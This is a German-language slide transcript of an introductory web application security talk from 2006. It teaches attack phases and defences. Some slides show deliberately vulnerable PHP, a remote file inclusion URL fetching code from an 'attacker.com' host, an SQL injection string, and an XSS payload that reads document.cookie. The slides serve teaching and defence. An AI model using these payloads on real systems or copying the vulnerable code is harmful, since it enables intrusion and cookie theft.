Web Application Security

2.446 Aufrufe

Veröffentlicht am

Web Application Security Introduction by Jonathan Weiss. Presented at the Juniter Workend 2006.

Veröffentlicht in: Technologie
0 Kommentare
0 Gefällt mir
Statistik
Notizen
  • Als Erste(r) kommentieren

  • Gehören Sie zu den Ersten, denen das gefällt!

Keine Downloads
Aufrufe
Aufrufe insgesamt
2.446
Auf SlideShare
0
Aus Einbettungen
0
Anzahl an Einbettungen
42
Aktionen
Geteilt
0
Downloads
95
Kommentare
0
Gefällt mir
0
Einbettungen 0
Keine Einbettungen

Keine Notizen für die Folie

Web Application Security

  1. 1. Web Application Security
  2. 2. Agenda • Einführung und Einordung • Grundlagen Web Applications • Angriff • Verteidigung • Praktischer Teil • Fazit
  3. 3. Einführung
  4. 4. Was ist Security?
  5. 5. Security is a process Bruce Schneier
  6. 6. Angriff Angriff Ziel
  7. 7. Verteidigung Angriff Prevention Detection Response Ziel
  8. 8. Prevention Maßnahmen, die einen Angriff im Vorhinein erschweren sollen Reallife: Tür und Schloß an Euren Häusern IT: Firewalls, ACLs / Rechtemanagement
  9. 9. Detection Maßnahmen, die einen Angriff erkennen sollen Reallife: Alarmanlage im Haus IT: Intrusion Detection Systems, Networks Security Monitoring, Traffic Anomaly
  10. 10. Response Reaktion auf einen Angriff Reallife: Ihr ruft die Polizei, diese probiert den Einbrecher festzunehmen. Beweise werden gesammelt IT: Runterfahren des Rechners, forensiche Analyse
  11. 11. Agenda Angriff Prevention Detection Response Ziel Vorletztes Letzes Workend Workend
  12. 12. Agenda Dieser Workshop Angriff Prevention Detection Response Ziel Im Speziellen für Web Applications
  13. 13. Attack the enemy
  14. 14. Der Prozess Ziel auskundschaften
  15. 15. Der Prozess Ziel auskundschaften Schwachstellen ausfindigmachen
  16. 16. Der Prozess Ziel auskundschaften Schwachstellen ausfindigmachen Schwachstellen ausnutzten
  17. 17. Der Prozess Ziel auskundschaften Schwachstellen ausfindigmachen Schwachstellen ausnutzten Position sichern
  18. 18. Der IT-Prozess Ziel auskundschaften Passive Informationsgewinnung Aktive Informationsgewinnung Schwachstellen ausfindigmachen Remote Exploit Schwachstellen Local Exploit ausnutzten Rootkit Installation Position sichern Weitere Expansion
  19. 19. Angriff Passive Aktive Remote Local Root- Expan- IG IG Exploit Exploit kit sion - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........
  20. 20. Verteidigung Passive Aktive Remote Local Root- Expan- IG IG Exploit Exploit kit sion - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........ - ........
  21. 21. Grundlagen Web Applications
  22. 22. Statische Webseite GET http://www.juniter.de/index.html index.html
  23. 23. Dynamische Webseite GET http://www.juniter.de/index.php MySQL PHP index.php
  24. 24. Angriff
  25. 25. Angriff Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
  26. 26. Angriff Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
  27. 27. Ziel Informationen über • eingesetzten Server (Apache, IIS, ..) • Skriptsprache (PHP, JSP, ASP, Perl, Rails)
  28. 28. Mittel • Versiongrabbing / Verbinden • Typische Endungen • .php • .jsp • .do • .asp aspx
  29. 29. Angriff Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
  30. 30. Ziel • Webseite manipulieren • Datenbank manipulieren • Lokaler Benutzer für weitere Aktivitäten
  31. 31. Mittel Sicherheitslücken in • Serversoftware • Application Server • Programmiersprache • eigentliches Programm ausnutzen
  32. 32. Typische Schwachstellen • Remote code execution • SQL injection • Format string vulnerabilities • Cross Site Scripting (XSS) • Username enumeration
  33. 33. Remote code execution • register_globals • XMLRPC Schwachstellen
  34. 34. require ($page . quot;.phpquot;); http://www.vulnsite.com/index.php? page=http://www.attacker.com/attack.txt
  35. 35. Remote code execution http://www.vulnsite.com/index.php?page=http:// www.attacker.com/attack.txt
  36. 36. SQL Injection Idee: SQL-Anweisung im Code durch die HTML Parameter manipulieren
  37. 37. <form action=quot;sql.phpquot; method=quot;POSTquot; /> <p>Name: <input type=quot;textquot; name=quot;namequot; /><br /> <input type=quot;submitquot; value=quot;Add Commentquot; /></p> </form> <?php $query = quot;SELECT * FROM users WHERE username = '{$_POST ['username']}quot;; $result = mysql_query($query); ?>
  38. 38. $query = quot;SELECT * FROM users WHERE username = 'steve'quot;;
  39. 39. $query = quot;SELECT * FROM users WHERE username = '' or '1=1'quot;;
  40. 40. Cross Site Scripting Idee: Dem Server JavaScript Code übergeben, den er anderen Nutzern anzeigt. Diese führen dann diesen Code aus
  41. 41. Cross Site Scripting Wirkung: Cookies und somit Logins stehlen
  42. 42. <form action=quot;search.phpquot; method=quot;GETquot; /> Welcome!! <p>Enter your name: <input type=quot;textquot; name=quot;name_1quot; /><br /> <input type=quot;submitquot; value=quot;Goquot; /></p><br> </form> <?php echo quot;<p>Your Name <br />quot;; echo ($_GET[name_1]); ?>
  43. 43. http://victim_site/clean.php?name_1=<script>code</script> http://victim_site/clean.php?name_1=<script>alert (document.cookie);</script>
  44. 44. Username enumeration Idee: Finden von gültigen Benutzernamen durch Testen der Reaktion auf Username/ Passwort Kombination
  45. 45. Username enumeration Wirkung: Bruteforce und Guessing Attacken auf Benutzerkonten deutlich leichter
  46. 46. Username enumeration Der angegebene Login existiert nicht Die angegebene Login/Passwort Kombination stimmt nicht
  47. 47. Verteidigung
  48. 48. Verteidigung Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
  49. 49. Verteidigung Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
  50. 50. Prevention Vorbeugen durch: • Versionsanzeigen abschalten/verfremden • Intrusion Prevention Systeme
  51. 51. Detection Erkennen durch: • Intrusion Detection Systeme • Firewall Logfiles • Serverlogfiles, z.B. UserAgent in Apache Logfile
  52. 52. Verteidigung Passive Aktive Remote IG IG Exploit - ........ - ........ - ........ - ........ - ........ - ........
  53. 53. Prevention Vorbeugen durch: • Systeme immer aktuell halten • Applikation Firewalls / Filter • mod_security • Intrusion Prevention Systeme • Snort-Inline
  54. 54. Secure Coding !
  55. 55. Detection Erkennen durch: • Intrusion Detection Systeme • Logfiles • Netzwerküberwachung • netstat • Network Security Monitoring
  56. 56. Fazit
  57. 57. Ressourcen
  58. 58. Bücher • Unix and Internet Security, Simson Garfikel&co, O’Reilly • Network Security Assesment, ..., O’Reilly • Network Security Monitoring, Richard Beijtrich, Addison-Wesley • Security Warrior, ..., O’Reilly • Practical Cryptography, Bruce Schneier&Nils Fergusson,... • ..., Bruce Sterling, ...
  59. 59. Mailing Listen • Bugtraq • Full-Disclosure • SecurityFocus • IDS • WebAppSec • Nmap
  60. 60. Web • Securityfocus.com • OWASP • Phrack.org • grc.com • CVE, MITRE, ISS X-Force
  61. 61. Fragen?

×